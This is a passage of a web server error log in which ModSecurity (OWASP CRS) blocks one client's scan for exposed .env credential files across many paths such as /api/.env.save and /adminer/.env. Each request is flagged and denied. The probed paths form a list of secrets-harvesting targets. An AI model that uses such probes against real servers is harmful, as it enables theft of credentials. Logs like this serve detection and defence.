&quot;aZ-NrCk1SHHL9bIjTI-PKgAAAAU&quot;]
[Thu Feb 26 01:02:52.750071 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PKgAAAAU&quot;]
[Thu Feb 26 01:02:52.750241 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PKgAAAAU&quot;]
[Thu Feb 26 01:02:52.798181 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /__tests__/test-become/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhKwAAAAE&quot;]
[Thu Feb 26 01:02:52.798415 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhKwAAAAE&quot;]
[Thu Feb 26 01:02:52.798560 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhKwAAAAE&quot;]
[Thu Feb 26 01:02:52.850462 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /agora/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLQAAAAU&quot;]
[Thu Feb 26 01:02:52.850687 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLQAAAAU&quot;]
[Thu Feb 26 01:02:52.850846 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLQAAAAU&quot;]
[Thu Feb 26 01:02:52.890740 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /alpha/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLgAAAAU&quot;]
[Thu Feb 26 01:02:52.890959 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLgAAAAU&quot;]
[Thu Feb 26 01:02:52.891114 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLgAAAAU&quot;]
[Thu Feb 26 01:02:52.919246 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /anaconda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLwAAAAU&quot;]
[Thu Feb 26 01:02:52.919528 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLwAAAAU&quot;]
[Thu Feb 26 01:02:52.919708 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PLwAAAAU&quot;]
[Thu Feb 26 01:02:53.219126 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PNgAAAAU&quot;]
[Thu Feb 26 01:02:53.219398 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PNgAAAAU&quot;]
[Thu Feb 26 01:02:53.219561 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PNgAAAAU&quot;]
[Thu Feb 26 01:02:53.244548 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PNwAAAAU&quot;]
[Thu Feb 26 01:02:53.244878 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PNwAAAAU&quot;]
[Thu Feb 26 01:02:53.245117 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PNwAAAAU&quot;]
[Thu Feb 26 01:02:53.288660 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POAAAAAU&quot;]
[Thu Feb 26 01:02:53.289006 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POAAAAAU&quot;]
[Thu Feb 26 01:02:53.289179 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POAAAAAU&quot;]
[Thu Feb 26 01:02:53.330780 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POQAAAAU&quot;]
[Thu Feb 26 01:02:53.331036 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POQAAAAU&quot;]
[Thu Feb 26 01:02:53.331218 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POQAAAAU&quot;]
[Thu Feb 26 01:02:53.363687 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhOgAAAAE&quot;]
[Thu Feb 26 01:02:53.363956 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhOgAAAAE&quot;]
[Thu Feb 26 01:02:53.364123 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhOgAAAAE&quot;]
[Thu Feb 26 01:02:53.368371 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POgAAAAU&quot;]
[Thu Feb 26 01:02:53.368679 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POgAAAAU&quot;]
[Thu Feb 26 01:02:53.368841 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-POgAAAAU&quot;]
[Thu Feb 26 01:02:53.434939 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme-challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPAAAAAE&quot;]
